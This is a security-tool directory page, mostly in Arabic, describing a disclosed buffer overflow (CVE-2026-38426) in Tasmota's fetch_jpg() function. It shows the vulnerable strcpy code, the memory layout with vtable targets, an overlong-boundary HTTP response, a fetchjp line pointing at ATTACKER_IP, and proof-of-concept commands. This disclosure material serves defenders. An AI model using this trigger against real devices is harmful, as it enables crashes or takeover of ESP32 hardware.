Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-38426 — CVE-2026-38426 — تجاوز سعة المخزن المؤقت للمكدس في strcpy() في دالة fetch_jpg() في Tasmota boundary[40] (Tasmota <= 15.3.0.3) | Kitploit
أدوات/GitHubGitHub/sermikr0/cve-2026-38426
أمان الأنظمة المدمجةأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالأمان الأجهزة وإنترنت الأشياءحصان طروادة للوصول عن بعداستغلال الملفات الثنائية
GitHubsermikr0/cve-2026-38426

CVE-2026-38426

CVE-2026-38426 — تجاوز سعة المخزن المؤقت للمكدس في strcpy() في دالة fetch_jpg() في Tasmota boundary[40] (Tasmota <= 15.3.0.3)

عرض المستودع
7منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-38426: تجاوز سعة المخزن المؤقت للمكدس في Tasmota fetch_jpg() boundary[40]

CVE: CVE-2026-38426
Severity: حرج (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() — الحالة 0 (الاتصال الأولي)
Author: Saidakbarxon Maxsudxonov
Disclosure: مسؤول — تم الإبلاغ إلى Tasmota قبل النشر


ملخص

توجد ثغرة أمنية كلاسيكية لتجاوز سعة المخزن المؤقت لـ strcpy() في دالة fetch_jpg() الخاصة بمشغل السكريبت في Tasmota. يتم نسخ سلسلة حدود MJPEG المستخرجة من رأس استجابة HTTP Content-Type إلى مخزن مؤقت ثابت بحجم 40 بايت (boundary[40]) دون أي التحقق من الطول. يمكن للمهاجم الذي يتحكم في خادم HTTP لـ MJPEG توفير سلسلة حدود أطول من 39 حرفًا لتجاوز سعة المخزن المؤقت وإفساد ذاكرة الكومة المجاورة — مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بُعد على ESP32.


الكود الضعيف

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

struct JPG_TASK {
    char boundary[40];   // ← FIXED SIZE — only 40 bytes!
    bool draw;
    uint8_t scale;
    uint16_t xp;
    uint16_t yp;
    WiFiClient stream;   // contains vtable pointer
    HTTPClient http;     // contains vtable pointer
} jpg_task;

// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
    strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // NO LENGTH CHECK — OVERFLOW!
}

تخطيط ذاكرة الكومة (ESP32)

root@kitploit:~
struct JPG_TASK layout:
  +0x00  boundary[40]     ← overflow starts here
  +0x28  draw (bool)      ← corrupted
  +0x29  scale (uint8_t)  ← corrupted
  +0x2A  xp (uint16_t)    ← corrupted
  +0x2C  yp (uint16_t)    ← corrupted
  +0x2E  WiFiClient        ← vtable ptr overwritten → RCE
  +0x7E  HTTPClient        ← vtable ptr overwritten → RCE

Overwriting the WiFiClient or HTTPClient vtable pointer with an attacker-controlled value triggers RCE when any virtual method (read(), write(), connect()) is subsequently called.


سيناريو الهجوم

يقوم المهاجم بتشغيل خادم HTTP يتصل به Tasmota عبر fetchjp(). يرد الخادم برأس Content-Type يحتوي على سلسلة حدود أطول من 39 حرفًا:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Tasmota's strcpy() copies 50+ bytes into the 40-byte boundary buffer, overflowing into adjacent struct fields.

التشغيل عبر سكريبت Tasmota:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)

إثبات المفهوم

root@kitploit:~
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

انظر CVE-2026-38426_poc.py للتنفيذ الكامل.


التأثير

  • السرية: عالي (RCE عبر اختطاف الجدول الافتراضي على ESP32)
  • النزاهة: عالي
  • التوفر: عالي (تعطل مضمون)
  • ناقل الهجوم: الشبكة
  • المصادقة: لا حاجة

الجدول الزمني

  • 2026-03-29: تم اكتشاف الثغرة وإبلاغ MITRE
  • 2026-03-29: تم تخصيص CVE-2026-38426
  • 2026-05-xx: تم إصدار التصحيح بواسطة Tasmota (v15.3.0.4+)

المراجع

  • Tasmota على GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38426
تنزيل الأداة